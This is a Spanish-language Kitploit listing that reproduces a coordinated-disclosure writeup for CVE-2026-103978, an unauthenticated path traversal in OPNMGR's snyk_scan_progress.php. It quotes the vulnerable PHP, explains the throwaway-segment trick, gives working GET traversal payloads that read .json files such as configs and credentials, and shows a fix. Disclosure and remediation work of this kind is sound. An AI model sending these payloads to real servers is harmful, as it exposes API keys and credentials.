Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-103978 — Prueba de concepto y writeup para CVE-2026-103978, un path traversal no autenticado en snyk_scan_progress.php de OPNMGR que permite la lectura arbitraria de archivos .json. | Kitploit
Herramientas/GitHubGitHub/kiwknr/cve-2026-103978
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónSeguridad WebPruebas de Penetración
GitHubkiwknr/cve-2026-103978

CVE-2026-103978

Prueba de concepto y writeup para CVE-2026-103978, un path traversal no autenticado en snyk_scan_progress.php de OPNMGR que permite la lectura arbitraria de archivos .json.

Ver Repositorio
1hace 1 díaAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-103978 - Path traversal no autenticado en OPNMGR

Lectura arbitraria de archivos .json, sin necesidad de iniciar sesión. Lo encontré mientras revisaba el código fuente de agit8or1/OPNMGR, un gestor de flotas OPNsense escrito en PHP.

CVECVE-2026-103978
AvisoGHSA-8x7v-vwpx-3wr7
ClaseCWE-22 (Path Traversal)
Autenticaciónninguna
CVSS v3.17.5 Alta (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS v4.08.7 Alta
Corregido env3.10.0
CréditoKanarat Kaeothong (Axiom0x)

El fallo

snyk_scan_progress.php se encuentra en la raíz web y toma un scan_id directamente de la cadena de consulta, lo pega en una ruta de archivo y pasa el resultado a file_get_contents(). No hay inclusión de autenticación, ni comprobación de sesión, ni saneamiento del parámetro.

<?php
header('Content-Type: application/json');
$scan_id = $_GET['scan_id'] ?? '';                  // unauthenticated, raw
if (empty($scan_id)) { echo json_encode(['error' => 'No scan ID provided']); exit; }

$progress_file = "/tmp/snyk_scan_{$scan_id}.json";  // string concat, nothing else
if (!file_exists($progress_file)) { echo json_encode(['error' => 'Scan not found']); exit; }

$progress_data = file_get_contents($progress_file);
echo $progress_data;                                // sent back to the caller

Todos los demás endpoints de la aplicación incluyen inc/bootstrap.php y llaman a requireLogin() antes de hacer nada. Este se salta todo eso. Así que scan_id está controlado por el atacante, se inserta en la ruta tal cual, y el cuerpo del archivo vuelve en la respuesta.

Un detalle: el prefijo snyk_scan_ se pega a lo que envíes, así que un payload que empiece por .. se consume (snyk_scan_.. es solo un nombre de archivo raro en /tmp). Necesitas un segmento desechable primero para que el .. se convierta realmente en un salto al directorio padre:

/tmp/snyk_scan_ + x/../../etc/passwd  ->  /tmp/snyk_scan_x/../../etc/passwd
                                       ->  /etc/passwd.json

El .json final está forzado por el código y no hay truco de byte nulo en el PHP moderno, así que solo puedes leer archivos que terminen en .json. En un despliegue real de PHP eso no es una gran limitación. Archivos de configuración, claves de cuentas de servicio, auth.json de composer, credenciales de la nube, la mayor parte de lo jugoso ya está en .json.

PoC

GET /snyk_scan_progress.php?scan_id=x/../../var/www/opnsense/config
  -> returns /var/www/opnsense/config.json

GET /snyk_scan_progress.php?scan_id=x/../../../../etc/some_config
  -> walks to filesystem root, returns /etc/some_config.json

Hay una versión ejecutable en poc/poc.sh.

Impacto

Cualquier archivo que termine en .json que www-data pueda leer, divulgado a cualquiera que pueda alcanzar la página. En una máquina que gestiona cortafuegos OPNsense eso normalmente significa claves de API y credenciales.

Corrección

Añade la inclusión de autenticación que usa el resto de la aplicación, y valida scan_id contra una lista de permitidos estricta antes de construir la ruta:

require_once __DIR__ . '/inc/bootstrap.php';
requireLogin();

$scan_id = $_GET['scan_id'] ?? '';
if (!preg_match('/^[A-Za-z0-9_-]{1,64}$/', $scan_id)) {
    http_response_code(400);
    echo json_encode(['error' => 'Invalid scan id']);
    exit;
}
$progress_file = '/tmp/snyk_scan_' . $scan_id . '.json';

El mantenedor publicó la corrección en v3.10.0.

Cronología

  • 2026-07-24 lo encontré, confirmé la resolución de rutas localmente
  • 2026-07-24 aviso privado al mantenedor a través de GitHub Security
  • más tarde el mantenedor lo reconoció y lo parcheó
  • 2026-10-02 el CNA de GitHub asignó CVE-2026-103978

Referencias

  • Aviso: https://github.com/agit8or1/OPNMGR/security/advisories/GHSA-8x7v-vwpx-3wr7
  • Registro CVE: https://www.cve.org/CVERecord?id=CVE-2026-103978
  • Archivo afectado: https://github.com/agit8or1/OPNMGR/blob/main/snyk_scan_progress.php

Reportado mediante divulgación coordinada. La versión vulnerable ya no es la versión actual. El análisis está aquí como referencia y para aprendizaje.

Descargar herramienta